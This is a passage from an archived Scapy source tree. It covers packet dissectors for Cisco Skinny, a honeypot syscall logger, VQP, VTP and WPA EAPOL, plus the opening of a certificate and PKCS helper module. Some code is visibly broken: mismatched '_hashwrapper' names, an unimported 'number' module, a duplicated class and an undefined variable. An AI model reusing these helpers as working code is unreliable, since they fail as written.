"SkinnyMessageMediaResourceNotification", 0x002D: "SkinnyMessageRegisterAvailableLines", 0x002E: "SkinnyMessageDeviceToUserData", 0x002F: "SkinnyMessageDeviceToUserDataResponse", 0x0030: "SkinnyMessageUpdateCapabilities", 0x0031: "SkinnyMessageOpenMultiMediaReceiveChannelAck", 0x0032: "SkinnyMessageClearConference", 0x0033: "SkinnyMessageServiceURLStatReq", 0x0034: "SkinnyMessageFeatureStatReq", 0x0035: "SkinnyMessageCreateConferenceRes", 0x0036: "SkinnyMessageDeleteConferenceRes", 0x0037: "SkinnyMessageModifyConferenceRes", 0x0038: "SkinnyMessageAddParticipantRes", 0x0039: "SkinnyMessageAuditConferenceRes", 0x0040: "SkinnyMessageAuditParticipantRes", 0x0041: "SkinnyMessageDeviceToUserDataVersion1", # Callmanager -> Station */ 0x0081: "SkinnyMessageRegisterAck", 0x0082: "SkinnyMessageStartTone", 0x0083: "SkinnyMessageStopTone", 0x0085: "SkinnyMessageSetRinger", 0x0086: "SkinnyMessageSetLamp", 0x0087: "SkinnyMessageSetHkFDetect", 0x0088: "SkinnyMessageSpeakerMode", 0x0089: "SkinnyMessageSetMicroMode", 0x008A: "SkinnyMessageStartMediaTransmission", 0x008B: "SkinnyMessageStopMediaTransmission", 0x008C: "SkinnyMessageStartMediaReception", 0x008D: "SkinnyMessageStopMediaReception", 0x008F: "SkinnyMessageCallInfo", 0x0090: "SkinnyMessageForwardStat", 0x0091: "SkinnyMessageSpeedDialStat", 0x0092: "SkinnyMessageLineStat", 0x0093: "SkinnyMessageConfigStat", 0x0094: "SkinnyMessageTimeDate", 0x0095: "SkinnyMessageStartSessionTransmission", 0x0096: "SkinnyMessageStopSessionTransmission", 0x0097: "SkinnyMessageButtonTemplate", 0x0098: "SkinnyMessageVersion", 0x0099: "SkinnyMessageDisplayText", 0x009A: "SkinnyMessageClearDisplay", 0x009B: "SkinnyMessageCapabilitiesReq", 0x009C: "SkinnyMessageEnunciatorCommand", 0x009D: "SkinnyMessageRegisterReject", 0x009E: "SkinnyMessageServerRes", 0x009F: "SkinnyMessageReset", 0x0100: "SkinnyMessageKeepAliveAck", 0x0101: "SkinnyMessageStartMulticastMediaReception", 0x0102: "SkinnyMessageStartMulticastMediaTransmission", 0x0103: "SkinnyMessageStopMulticastMediaReception", 0x0104: "SkinnyMessageStopMulticastMediaTransmission", 0x0105: "SkinnyMessageOpenReceiveChannel", 0x0106: "SkinnyMessageCloseReceiveChannel", 0x0107: "SkinnyMessageConnectionStatisticsReq", 0x0108: "SkinnyMessageSoftKeyTemplateRes", 0x0109: "SkinnyMessageSoftKeySetRes", 0x0110: "SkinnyMessageSoftKeyEvent", 0x0111: "SkinnyMessageCallState", 0x0112: "SkinnyMessagePromptStatus", 0x0113: "SkinnyMessageClearPromptStatus", 0x0114: "SkinnyMessageDisplayNotify", 0x0115: "SkinnyMessageClearNotify", 0x0116: "SkinnyMessageCallPlane", 0x0117: "SkinnyMessageCallPlane", 0x0118: "SkinnyMessageUnregisterAck", 0x0119: "SkinnyMessageBackSpaceReq", 0x011A: "SkinnyMessageRegisterTokenAck", 0x011B: "SkinnyMessageRegisterTokenReject", 0x0042: "SkinnyMessageDeviceToUserDataResponseVersion1", 0x011C: "SkinnyMessageStartMediaFailureDetection", 0x011D: "SkinnyMessageDialedNumber", 0x011E: "SkinnyMessageUserToDeviceData", 0x011F: "SkinnyMessageFeatureStat", 0x0120: "SkinnyMessageDisplayPriNotify", 0x0121: "SkinnyMessageClearPriNotify", 0x0122: "SkinnyMessageStartAnnouncement", 0x0123: "SkinnyMessageStopAnnouncement", 0x0124: "SkinnyMessageAnnouncementFinish", 0x0127: "SkinnyMessageNotifyDtmfTone", 0x0128: "SkinnyMessageSendDtmfTone", 0x0129: "SkinnyMessageSubscribeDtmfPayloadReq", 0x012A: "SkinnyMessageSubscribeDtmfPayloadRes", 0x012B: "SkinnyMessageSubscribeDtmfPayloadErr", 0x012C: "SkinnyMessageUnSubscribeDtmfPayloadReq", 0x012D: "SkinnyMessageUnSubscribeDtmfPayloadRes", 0x012E: "SkinnyMessageUnSubscribeDtmfPayloadErr", 0x012F: "SkinnyMessageServiceURLStat", 0x0130: "SkinnyMessageCallSelectStat", 0x0131: "SkinnyMessageOpenMultiMediaChannel", 0x0132: "SkinnyMessageStartMultiMediaTransmission", 0x0133: "SkinnyMessageStopMultiMediaTransmission", 0x0134: "SkinnyMessageMiscellaneousCommand", 0x0135: "SkinnyMessageFlowControlCommand", 0x0136: "SkinnyMessageCloseMultiMediaReceiveChannel", 0x0137: "SkinnyMessageCreateConferenceReq", 0x0138: "SkinnyMessageDeleteConferenceReq", 0x0139: "SkinnyMessageModifyConferenceReq", 0x013A: "SkinnyMessageAddParticipantReq", 0x013B: "SkinnyMessageDropParticipantReq", 0x013C: "SkinnyMessageAuditConferenceReq", 0x013D: "SkinnyMessageAuditParticipantReq", 0x013F: "SkinnyMessageUserToDeviceDataVersion1", } skinny_callstates = { 0x1: "Off Hook", 0x2: "On Hook", 0x3: "Ring out", 0xc: "Proceeding", } skinny_ring_type = { 0x1: "Ring off" } skinny_speaker_modes = { 0x1: "Speaker on", 0x2: "Speaker off" } skinny_lamp_mode = { 0x1: "Off (?)", 0x2: "On", } skinny_stimulus = { 0x9: "Line" } ############ ## Fields ## ############ class SkinnyDateTimeField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, 32) def m2i(self, pkt, s): year,month,dow,day,hour,min,sec,milisecond=struct.unpack('<8I', s) return (year, month, day, hour, min, sec) def i2m(self, pkt, val): if type(val) is str: val = self.h2i(pkt, val) l= val[:2] + (0,) + val[2:7] + (0,) return struct.pack('<8I', *l) def i2h(self, pkt, x): if type(x) is str: return x else: return time.ctime(time.mktime(x+(0,0,0))) def i2repr(self, pkt, x): return self.i2h(pkt, x) def h2i(self, pkt, s): t = () if type(s) is str: t = time.strptime(s) t = t[:2] + t[2:-3] else: if not s: y,m,d,h,min,sec,rest,rest,rest = time.gmtime(time.time()) t = (y,m,d,h,min,sec) else: t=s return t ########################### ## Packet abstract class ## ########################### class SkinnyMessageGeneric(Packet): name='Generic message' class SkinnyMessageKeepAlive(Packet): name='keep alive' class SkinnyMessageKeepAliveAck(Packet): name='keep alive ack' class SkinnyMessageOffHook(Packet): name = 'Off Hook' fields_desc = [ LEIntField("unknown1", 0), LEIntField("unknown2", 0),] class SkinnyMessageOnHook(SkinnyMessageOffHook): name = 'On Hook' class SkinnyMessageCallState(Packet): name='Skinny Call state message' fields_desc = [ LEIntEnumField("state", 1, skinny_callstates), LEIntField("instance", 1), LEIntField("callid", 0), LEIntField("unknown1", 4), LEIntField("unknown2", 0), LEIntField("unknown3", 0) ] class SkinnyMessageSoftKeyEvent(Packet): name='Soft Key Event' fields_desc = [ LEIntField("key", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageSetRinger(Packet): name='Ring message' fields_desc = [ LEIntEnumField("ring", 0x1, skinny_ring_type), LEIntField("unknown1", 0), LEIntField("unknown2", 0), LEIntField("unknown3", 0) ] _skinny_tones = { 0x21: 'Inside dial tone', 0x22: 'xxx', 0x23: 'xxx', 0x24: 'Alerting tone', 0x25: 'Reorder Tone' } class SkinnyMessageStartTone(Packet): name='Start tone' fields_desc = [ LEIntEnumField("tone", 0x21, _skinny_tones), LEIntField("unknown1", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageStopTone(SkinnyMessageGeneric): name='stop tone' fields_desc = [ LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageSpeakerMode(Packet): name='Speaker mdoe' fields_desc = [ LEIntEnumField("ring", 0x1, skinny_speaker_modes) ] class SkinnyMessageSetLamp(Packet): name='Lamp message (light of the phone)' fields_desc = [ LEIntEnumField("stimulus", 0x5, skinny_stimulus), LEIntField("instance", 1), LEIntEnumField("mode", 2, skinny_lamp_mode) ] class SkinnyMessageSoftKeyEvent(Packet): name=' Call state message' fields_desc = [ LEIntField("instance", 1), LEIntField("callid", 0), LEIntField("set", 0), LEIntField("map", 0xffff)] class SkinnyMessagePromptStatus(Packet): name='Prompt status' fields_desc = [ LEIntField("timeout", 0), StrFixedLenField("text", "\0"*32, 32), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageCallPlane(Packet): name='Activate/Desactivate Call Plane Message' fields_desc = [ LEIntField("instance", 1)] class SkinnyMessageTimeDate(Packet): name='Setting date and time' fields_desc = [ SkinnyDateTimeField("settime", None), LEIntField("timestamp", 0) ] class SkinnyMessageClearPromptStatus(Packet): name='clear prompt status' fields_desc = [ LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageKeypadButton(Packet): name='keypad button' fields_desc = [ LEIntField("key", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageDialedNumber(Packet): name='dialed number' fields_desc = [ StrFixedLenField("number", "1337", 24), LEIntField("instance", 1), LEIntField("callid", 0)] _skinny_message_callinfo_restrictions = ['CallerName' , 'CallerNumber' , 'CalledName' , 'CalledNumber' , 'OriginalCalledName' , 'OriginalCalledNumber' , 'LastRedirectName' , 'LastRedirectNumber'] + ['Bit%d' % i for i in range(8,15)] class SkinnyMessageCallInfo(Packet): name='call information' fields_desc = [ StrFixedLenField("callername", "Jean Valjean", 40), StrFixedLenField("callernum", "1337", 24), StrFixedLenField("calledname", "Causette", 40), StrFixedLenField("callednum", "1034", 24), LEIntField("lineinstance", 1), LEIntField("callid", 0), StrFixedLenField("originalcalledname", "Causette", 40), StrFixedLenField("originalcallednum", "1034", 24), StrFixedLenField("lastredirectingname", "Causette", 40), StrFixedLenField("lastredirectingnum", "1034", 24), LEIntField("originalredirectreason", 0), LEIntField("lastredirectreason", 0), StrFixedLenField('voicemailboxG', '\0'*24, 24), StrFixedLenField('voicemailboxD', '\0'*24, 24), StrFixedLenField('originalvoicemailboxD', '\0'*24, 24), StrFixedLenField('lastvoicemailboxD', '\0'*24, 24), LEIntField('security', 0), FlagsField('restriction', 0, 16, _skinny_message_callinfo_restrictions), LEIntField('unknown', 0)] class SkinnyRateField(LEIntField): def i2repr(self, pkt, x): if x is None: x=0 return '%d ms/pkt' % x _skinny_codecs = { 0x0: 'xxx', 0x1: 'xxx', 0x2: 'xxx', 0x3: 'xxx', 0x4: 'G711 ulaw 64k' } _skinny_echo = { 0x0: 'echo cancelation off', 0x1: 'echo cancelation on' } class SkinnyMessageOpenReceiveChannel(Packet): name='open receive channel' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntEnumField('echo', 0, _skinny_echo), LEIntField('unknown1', 0), LEIntField('callid', 0)] def guess_payload_class(self, p): return conf.padding_layer _skinny_receive_channel_status = { 0x0: 'ok', 0x1: 'ko' } class SkinnyMessageOpenReceiveChannelAck(Packet): name='open receive channel' fields_desc = [LEIntEnumField('status', 0, _skinny_receive_channel_status), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), LEIntField('passthru', 0), LEIntField('callid', 0)] _skinny_silence = { 0x0: 'silence suppression off', 0x1: 'silence suppression on', } class SkinnyFramePerPacketField(LEIntField): def i2repr(self, pkt, x): if x is None: x=0 return '%d frames/pkt' % x class SkinnyMessageStartMediaTransmission(Packet): name='start multimedia transmission' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntField('precedence', 200), LEIntEnumField('silence', 0, _skinny_silence), SkinnyFramePerPacketField('maxframes', 0), LEIntField('unknown1', 0), LEIntField('callid', 0)] def guess_payload_class(self, p): return conf.padding_layer class SkinnyMessageCloseReceiveChannel(Packet): name='close receive channel' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntField('precedence', 200), LEIntEnumField('silence', 0, _skinny_silence), LEIntField('callid', 0)] class SkinnyMessageStopMultiMediaTransmission(Packet): name='stop multimedia transmission' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), LEIntField('callid', 0)] class Skinny(Packet): name="Skinny" fields_desc = [ LEIntField("len", None), LEIntField("res",0), LEIntEnumField("msg",0, skinny_messages) ] def post_build(self, pkt, p): if self.len is None: l=len(p)+len(pkt)-8 # on compte pas les headers len et reserved pkt=struct.pack('@I', l)+pkt[4:] return pkt+p # An helper def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) #return builtins.__dict__.get(name, fallback_cls) for msgid,strcls in skinny_messages_cls.items(): cls=get_cls(strcls, SkinnyMessageGeneric) bind_layers(Skinny, cls, {"msg": msgid}) bind_layers(TCP, Skinny, { "dport": 2000 } ) bind_layers(TCP, Skinny, { "sport": 2000 } ) if __name__ == "__main__": interact(mydict=globals(),mybanner="Welcome to Skinny add-on") scapy-0.23/scapy/contrib/ubberlogger.py000066400000000000000000000067201320561231000202030ustar00rootroot00000000000000# Author: Sylvain SARMEJEANNE # http://trac.secdev.org/scapy/ticket/1 # scapy.contrib.description = Ubberlogger dissectors # scapy.contrib.status = untested from scapy.packet import * from scapy.fields import * # Syscalls known by Uberlogger uberlogger_sys_calls = {0:"READ_ID", 1:"OPEN_ID", 2:"WRITE_ID", 3:"CHMOD_ID", 4:"CHOWN_ID", 5:"SETUID_ID", 6:"CHROOT_ID", 7:"CREATE_MODULE_ID", 8:"INIT_MODULE_ID", 9:"DELETE_MODULE_ID", 10:"CAPSET_ID", 11:"CAPGET_ID", 12:"FORK_ID", 13:"EXECVE_ID"} # First part of the header class Uberlogger_honeypot_caract(Packet): name = "Uberlogger honeypot_caract" fields_desc = [ByteField("honeypot_id", 0), ByteField("reserved", 0), ByteField("os_type_and_version", 0)] # Second part of the header class Uberlogger_uber_h(Packet): name = "Uberlogger uber_h" fields_desc = [ByteEnumField("syscall_type", 0, uberlogger_sys_calls), IntField("time_sec", 0), IntField("time_usec", 0), IntField("pid", 0), IntField("uid", 0), IntField("euid", 0), IntField("cap_effective", 0), IntField("cap_inheritable", 0), IntField("cap_permitted", 0), IntField("res", 0), IntField("length", 0)] # The 9 following classes are options depending on the syscall type class Uberlogger_capget_data(Packet): name = "Uberlogger capget_data" fields_desc = [IntField("target_pid", 0)] class Uberlogger_capset_data(Packet): name = "Uberlogger capset_data" fields_desc = [IntField("target_pid", 0), IntField("effective_cap", 0), IntField("permitted_cap", 0), IntField("inheritable_cap", 0)] class Uberlogger_chmod_data(Packet): name = "Uberlogger chmod_data" fields_desc = [ShortField("mode", 0)] class Uberlogger_chown_data(Packet): name = "Uberlogger chown_data" fields_desc = [IntField("uid", 0), IntField("gid", 0)] class Uberlogger_open_data(Packet): name = "Uberlogger open_data" fields_desc = [IntField("flags", 0), IntField("mode", 0)] class Uberlogger_read_data(Packet): name = "Uberlogger read_data" fields_desc = [IntField("fd", 0), IntField("count", 0)] class Uberlogger_setuid_data(Packet): name = "Uberlogger setuid_data" fields_desc = [IntField("uid", 0)] class Uberlogger_create_module_data(Packet): name = "Uberlogger create_module_data" fields_desc = [IntField("size", 0)] class Uberlogger_execve_data(Packet): name = "Uberlogger execve_data" fields_desc = [IntField("nbarg", 0)] # Layer bounds for Uberlogger bind_layers(Uberlogger_honeypot_caract,Uberlogger_uber_h) bind_layers(Uberlogger_uber_h,Uberlogger_capget_data) bind_layers(Uberlogger_uber_h,Uberlogger_capset_data) bind_layers(Uberlogger_uber_h,Uberlogger_chmod_data) bind_layers(Uberlogger_uber_h,Uberlogger_chown_data) bind_layers(Uberlogger_uber_h,Uberlogger_open_data) bind_layers(Uberlogger_uber_h,Uberlogger_read_data) bind_layers(Uberlogger_uber_h,Uberlogger_setuid_data) bind_layers(Uberlogger_uber_h,Uberlogger_create_module_data) bind_layers(Uberlogger_uber_h,Uberlogger_execve_data) scapy-0.23/scapy/contrib/vqp.py000066400000000000000000000043061320561231000165100ustar00rootroot00000000000000 # http://trac.secdev.org/scapy/ticket/147 # scapy.contrib.description = VLAN Query Protocol # scapy.contrib.status = loads from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP class VQP(Packet): name = "VQP" fields_desc = [ ByteField("const", 1), ByteEnumField("type", 1, { 1:"requestPort", 2:"responseVLAN", 3:"requestReconfirm", 4:"responseReconfirm" }), ByteEnumField("errorcodeaction", 0, { 0:"none",3:"accessDenied", 4:"shutdownPort", 5:"wrongDomain" }), ByteEnumField("unknown", 2, { 2:"inGoodResponse", 6:"inRequests" }), IntField("seq",0), ] class VQPEntry(Packet): name = "VQPEntry" fields_desc = [ IntEnumField("datatype", 0, { 3073:"clientIPAddress", 3074:"portName", 3075:"VLANName", 3076:"Domain", 3077:"ethernetPacket", 3078:"ReqMACAddress", 3079:"unknown", 3080:"ResMACAddress" }), FieldLenField("len", None), ConditionalField(IPField("datatom", "0.0.0.0"), lambda p:p.datatype==3073), ConditionalField(MACField("data", "00:00:00:00:00:00"), lambda p:p.datatype==3078), ConditionalField(MACField("data", "00:00:00:00:00:00"), lambda p:p.datatype==3080), ConditionalField(StrLenField("data", None, length_from=lambda p:p.len), lambda p:p.datatype not in [3073, 3078, 3080]), ] def post_build(self, p, pay): if self.len is None: l = len(p.data) p = p[:2]+struct.pack("!H",l)+p[4:] return p bind_layers(UDP, VQP, sport=1589) bind_layers(UDP, VQP, dport=1589) bind_layers(VQP, VQPEntry, ) bind_layers(VQPEntry, VQPEntry, ) scapy-0.23/scapy/contrib/vtp.py000066400000000000000000000141121320561231000165070ustar00rootroot00000000000000#!/usr/bin/env python # scapy.contrib.description = VLAN Trunking Protocol (VTP) # scapy.contrib.status = loads """ VTP Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :version: 2009-02-15 :copyright: 2009 by Jochen Bartl :e-mail: lobo@c3a.de / jochen.bartl@gmail.com :license: GPL v2 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :TODO - Join messages - RE MD5 hash calculation - Have a closer look at 8 byte padding in summary adv. "debug sw-vlan vtp packets" sais the TLV length is invalid, when I change the values '\x00\x00\x00\x01\x06\x01\x00\x02' * \x00\x00 ? * \x00\x01 tlvtype? * \x06 length? * \x00\x02 value? - h2i function for VTPTimeStampField :References: - Understanding VLAN Trunk Protocol (VTP) http://www.cisco.com/en/US/tech/tk389/tk689/technologies_tech_note09186a0080094c52.shtml """ from scapy.all import * _VTP_VLAN_TYPE = { 1 : 'Ethernet', 2 : 'FDDI', 3 : 'TrCRF', 4 : 'FDDI-net', 5 : 'TrBRF' } _VTP_VLANINFO_TLV_TYPE = { 0x01 : 'Source-Routing Ring Number', 0x02 : 'Source-Routing Bridge Number', 0x03 : 'Spanning-Tree Protocol Type', 0x04 : 'Parent VLAN', 0x05 : 'Translationally Bridged VLANs', 0x06 : 'Pruning', 0x07 : 'Bridge Type', 0x08 : 'Max ARE Hop Count', 0x09 : 'Max STE Hop Count', 0x0A : 'Backup CRF Mode' } class VTPVlanInfoTlv(Packet): name = "VTP VLAN Info TLV" fields_desc = [ ByteEnumField("type", 0, _VTP_VLANINFO_TLV_TYPE), ByteField("length", 0), StrLenField("value", None, length_from=lambda pkt : pkt.length + 1) ] def guess_payload_class(self, p): return conf.padding_layer class VTPVlanInfo(Packet): name = "VTP VLAN Info" fields_desc = [ ByteField("len", None), # FIXME: compute length ByteEnumField("status", 0, {0 : "active", 1 : "suspended"}), ByteEnumField("type", 1, _VTP_VLAN_TYPE), FieldLenField("vlannamelen", None, "vlanname", "B"), ShortField("vlanid", 1), ShortField("mtu", 1500), XIntField("dot10index", None), StrLenField("vlanname", "default", length_from=lambda pkt:4 * ((pkt.vlannamelen + 3) / 4)), ConditionalField(PacketListField("tlvlist", [], VTPVlanInfoTlv, length_from=lambda pkt:pkt.len - 12 - (4 * ((pkt.vlannamelen + 3) / 4))), lambda pkt:pkt.type not in [1, 2]) ] def post_build(self, p, pay): vlannamelen = 4 * ((len(self.vlanname) + 3) / 4) if self.len == None: l = vlannamelen + 12 p = chr(l & 0xff) + p[1:] # Pad vlan name with zeros if vlannamelen > len(vlanname) l = vlannamelen - len(self.vlanname) if l != 0: p += "\x00" * l p += pay return p def guess_payload_class(self, p): return conf.padding_layer _VTP_Types = { 1 : 'Summary Advertisement', 2 : 'Subset Advertisements', 3 : 'Advertisement Request', 4 : 'Join' } class VTPTimeStampField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, 12) def i2repr(self, pkt, x): return "%s-%s-%s %s:%s:%s" % (x[:2], x[2:4], x[4:6], x[6:8], x[8:10], x[10:12]) class VTP(Packet): name = "VTP" fields_desc = [ ByteField("ver", 2), ByteEnumField("code", 1, _VTP_Types), ConditionalField(ByteField("followers", 1), lambda pkt:pkt.code == 1), ConditionalField(ByteField("seq", 1), lambda pkt:pkt.code == 2), ConditionalField(ByteField("reserved", 0), lambda pkt:pkt.code == 3), ByteField("domnamelen", None), StrFixedLenField("domname", "manbearpig", 32), ConditionalField(SignedIntField("rev", 0), lambda pkt:pkt.code == 1 or pkt.code == 2), # updater identity ConditionalField(IPField("uid", "192.168.0.1"), lambda pkt:pkt.code == 1), ConditionalField(VTPTimeStampField("timestamp", '930301000000'), lambda pkt:pkt.code == 1), ConditionalField(StrFixedLenField("md5", "\x00" * 16, 16), lambda pkt:pkt.code == 1), ConditionalField( PacketListField("vlaninfo", [], VTPVlanInfo), lambda pkt: pkt.code == 2), ConditionalField(ShortField("startvalue", 0), lambda pkt:pkt.code == 3) ] def post_build(self, p, pay): if self.domnamelen == None: domnamelen = len(self.domname.strip("\x00")) p = p[:3] + chr(domnamelen & 0xff) + p[4:] p += pay return p bind_layers(SNAP, VTP, code=0x2003) if __name__ == '__main__': interact(mydict=globals(), mybanner="VTP") scapy-0.23/scapy/contrib/wpa_eapol.py000066400000000000000000000023311320561231000176450ustar00rootroot00000000000000 # http://trac.secdev.org/scapy/ticket/104 # scapy.contrib.description = WPA EAPOL dissector # scapy.contrib.status = loads from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import * class WPA_key(Packet): name = "WPA_key" fields_desc = [ ByteField("descriptor_type", 1), ShortField("key_info",0), LenField("len", None, "H"), StrFixedLenField("replay_counter", "", 8), StrFixedLenField("nonce", "", 32), StrFixedLenField("key_iv", "", 16), StrFixedLenField("wpa_key_rsc", "", 8), StrFixedLenField("wpa_key_id", "", 8), StrFixedLenField("wpa_key_mic", "", 16), LenField("wpa_key_length", None, "H"), StrLenField("wpa_key", "", length_from=lambda pkt:pkt.wpa_key_length) ] def extract_padding(self, s): l = self.len return s[:l],s[l:] def hashret(self): return chr(self.type)+self.payload.hashret() def answers(self, other): if isinstance(other,WPA_key): return 1 return 0 bind_layers( EAPOL, WPA_key, type=3) scapy-0.23/scapy/crypto/000077500000000000000000000000001320561231000152055ustar00rootroot00000000000000scapy-0.23/scapy/crypto/__init__.py000066400000000000000000000010041320561231000173110ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Arnaud Ebalard ## This program is published under a GPLv2 license """ Tools for handling with digital certificates. """ try: import cryptography except ImportError: import logging log_loading = logging.getLogger("scapy.loading") log_loading.info("Can't import python cryptography. Disabled certificate manipulation tools") else: from scapy.crypto.cert import * scapy-0.23/scapy/crypto/cert.py000066400000000000000000002454471320561231000165340ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Arnaud Ebalard ## This program is published under a GPLv2 license """ Cryptographic certificates. """ import os, sys, math, socket, struct, hmac, string, time, random, tempfile from subprocess import Popen, PIPE from scapy.utils import strxor try: HAS_HASHLIB=True import hashlib except: HAS_HASHLIB=False from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import hashes from cryptography.exceptions import InvalidSignature from cryptography.hazmat.primitives.asymmetric import padding # Maximum allowed size in bytes for a certificate file, to avoid # loading huge file when importing a cert MAX_KEY_SIZE=50*1024 MAX_CERT_SIZE=50*1024 MAX_CRL_SIZE=10*1024*1024 # some are that big ##################################################################### # Some helpers ##################################################################### def popen3(cmd): p = Popen(cmd, shell=False, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True) return p.stdout, p.stdin, p.stderr def warning(m): print("WARNING: %s" % m) def randstring(l): """ Returns a random string of length l (l >= 0) """ tmp = map(lambda x: struct.pack("B", random.randrange(0, 256, 1)), [""]*l) return "".join(tmp) def zerofree_randstring(l): """ Returns a random string of length l (l >= 0) without zero in it. """ tmp = map(lambda x: struct.pack("B", random.randrange(1, 256, 1)), [""]*l) return "".join(tmp) def strand(s1, s2): """ Returns the binary AND of the 2 provided strings s1 and s2. s1 and s2 must be of same length. """ return "".join(map(lambda x,y:chr(ord(x)&ord(y)), s1, s2)) # OS2IP function defined in RFC 3447 for octet string to integer conversion def pkcs_os2ip(x): """ Accepts a byte string as input parameter and return the associated long value: Input : x octet string to be converted Output: x corresponding nonnegative integer Reverse function is pkcs_i2osp() """ return number.bytes_to_long(x) # IP2OS function defined in RFC 3447 for octet string to integer conversion def pkcs_i2osp(x,xLen): """ Converts a long (the first parameter) to the associated byte string representation of length l (second parameter). Basically, the length parameters allow the function to perform the associated padding. Input : x nonnegative integer to be converted xLen intended length of the resulting octet string Output: x corresponding nonnegative integer Reverse function is pkcs_os2ip(). """ z = number.long_to_bytes(x) padlen = max(0, xLen-len(z)) return '\x00'*padlen + z # for every hash function a tuple is provided, giving access to # - hash output length in byte # - associated hash function that take data to be hashed as parameter # XXX I do not provide update() at the moment. # - DER encoding of the leading bits of digestInfo (the hash value # will be concatenated to create the complete digestInfo). # # Notes: # - MD4 asn.1 value should be verified. Also, as stated in # PKCS#1 v2.1, MD4 should not be used. # - hashlib is available from http://code.krypto.org/python/hashlib/ # - 'tls' one is the concatenation of both md5 and sha1 hashes used # by SSL/TLS when signing/verifying things def _hashWrapper(hash_algo, message, backend=default_backend()): digest = hashes.Hash(hash_algo, backend).update(message) return digest.finalize() _hashFuncParams = { "md2" : (16, lambda x: _hashwrapper(hashes.MD2, x), '\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x02\x05\x00\x04\x10'), "md4" : (16, lambda x: _hashwrapper(hashes.MD4, x), '\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x04\x05\x00\x04\x10'), # is that right ? "md5" : (16, lambda x: _hashwrapper(hashes.MD5, x), '\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x05\x05\x00\x04\x10'), "sha1" : (20, lambda x: _hashwrapper(hashes.SHA1, x), '\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14'), "sha224" : (28, lambda x: _hashwrapper(hashes.SHA224, x), '\x30\x2d\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x04\x05\x00\x04\x1c'), "sha256" : (32, lambda x: _hashwrapper(hashes.SHA256, x), '\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20'), "sha384" : (48, lambda x: _hashwrapper(hashes.SHA384, x), '\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30'), "sha512" : (64, lambda x: _hashwrapper(hashes.SHA512, x), '\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40'), "tls" : (36, lambda x: _hashwrapper(hashes.MD5, x) + _hashwrapper(hashes.SHA1, x), '') } if HAS_HASHLIB: _hashFuncParams["sha224"] = (28, lambda x: hashlib.sha224(x).digest(), '\x30\x2d\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x04\x05\x00\x04\x1c') _hashFuncParams["sha256"] = (32, lambda x: hashlib.sha256(x).digest(), '\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20') _hashFuncParams["sha384"] = (48, lambda x: hashlib.sha384(x).digest(), '\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30') _hashFuncParams["sha512"] = (64, lambda x: hashlib.sha512(x).digest(), '\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40') else: warning("hashlib support is not available. Consider installing it") warning("if you need sha224, sha256, sha384 and sha512 algs.") def pkcs_mgf1(mgfSeed, maskLen, h): """ Implements generic MGF1 Mask Generation function as described in Appendix B.2.1 of RFC 3447. The hash function is passed by name. valid values are 'md2', 'md4', 'md5', 'sha1', 'tls, 'sha256', 'sha384' and 'sha512'. Returns None on error. Input: mgfSeed: seed from which mask is generated, an octet string maskLen: intended length in octets of the mask, at most 2^32 * hLen hLen (see below) h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). hLen denotes the length in octets of the hash function output. Output: an octet string of length maskLen """ # steps are those of Appendix B.2.1 if not h in _hashFuncParams: warning("pkcs_mgf1: invalid hash (%s) provided") return None hLen = _hashFuncParams[h][0] hFunc = _hashFuncParams[h][1] if maskLen > 2**32 * hLen: # 1) warning("pkcs_mgf1: maskLen > 2**32 * hLen") return None T = "" # 2) maxCounter = 